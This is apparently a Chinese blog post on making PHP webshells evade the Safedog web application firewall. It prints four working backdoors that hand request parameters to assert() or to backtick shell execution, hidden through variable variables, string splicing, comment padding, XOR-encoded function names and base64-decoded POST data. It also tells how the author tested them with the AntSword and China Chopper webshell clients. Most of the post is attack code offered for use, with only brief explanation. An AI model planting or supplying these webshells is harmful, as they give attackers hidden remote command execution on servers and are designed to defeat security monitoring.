AI智能
改变未来

webshell安全狗免杀(二)

有一段php代码:

<?php$h=\'f\';$$h=$_REQUEST[\'x\'];                //$$h可以理解为先解析后边这个$h,然后在进行解析,最终解析成为$f$d=\'CHECK\';$$d=\'ass\';$$d=$CHECK.\'ert\';$CHECK($f);?>

原理:参数f赋值给$h,$$h解析后为$f = $_REQUEST[\’x\’];参数\’CHECK\’赋值给变量$d,$$d解析后为$CHECK = \’ass\’,再解析$$d为$CHECK = $CHECK.\’ert\’,这一步也可以理解为将$CHECk.\’ert\’赋值给$CHECK变量,这个时候$CHECK为assert()命令执行函数,最终,命令为 $assert($_REQUEST[\’x\’]),

代码保存在phpstudy网站跟目录下,用自带调试的firefox浏览器中访问

成功执行,也可以在url后接参数执行

assert()既能代码执行,也能命令执行,

再看这样一段php代码

<?php//t.php$test = $_GET[\'r\'];echo /*%00*//*!*/(`$test`)/*%00*//*%00*//*%00*/;?>

echo语句之后,增加了很多内联注释干扰字段,没有实际意义,真正执行的是/*!*/(`$test`)/*%00*/,能够绕过WAF检测机制的是\”!\”,另外反单引号(“)的作用就是将任何代码当作命令执行,同样的用自带调试功能的firefox访问php文件

能够执行命令

另有如下一段php代码:

<?php$a = substr_replace(\"assexy\",\"rt\",4);$b = array(\'\'=>$a($_REQUEST[\'q\']));var_dump($b);?>

首先使用substr_replace()函数,将\’assexy\’中的\’xy\’,替换为\’rt\’,参数4的意思是从下标4开始替换,替换后$a = assert()代码和命令执行函数,$b为一个数组,\’=>\’为数组赋值,意思是将$_REQUEST[\’q\’]得到的值进行代码或命令执行,再将执行的结果赋值给数组,最后将数组打印出来,同样的,用firefox来看一下是否能访问

同样是能够绕过WAF,执行命令

再如下面的一段php代码:

<?php$pwd=\'123\'; //将密码给一个变量保存,后面调用class NMSL{function __destruct(){$HI=\'lKrRM{\'^\"\\xd\\x38\\x1\\x37\\x3f\\xf\";return @$HI(\"$this->PFZE\");}}$a=\'b\';$$a=\'NMSL\';$b=new NMSL();@$b->PFZE=isset($_GET[$pwd])?base64_decode($_POST[$pwd]):$_POST[$pwd];  //调用$pwd变量?>

将要解析的参数封装为一个类,创建一个对象,再经过base64加密解密,最终得到执行语句,用可调试的firefox进行测试,

成功执行,用webshell工具(中国蚁剑)来连接测试

这里用base64编码包裹一下,再来连接,因为再payload代码中,使用base64编码规则

尝试连接时,显示错误,原因可能是网站安全狗(WAF)将工具的指纹信息加入了限制规则,无法连接

再用webshell工具(中国菜刀)来连接,

尝试连接时,网站防火墙直接显示阻止连接,所以也没能成功,

以上的payload代码实测均可以绕过WAF执行命令或代码,但是部分webshell工具是连接失败的,总的来说payload逻辑没有问题。

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » webshell安全狗免杀(二)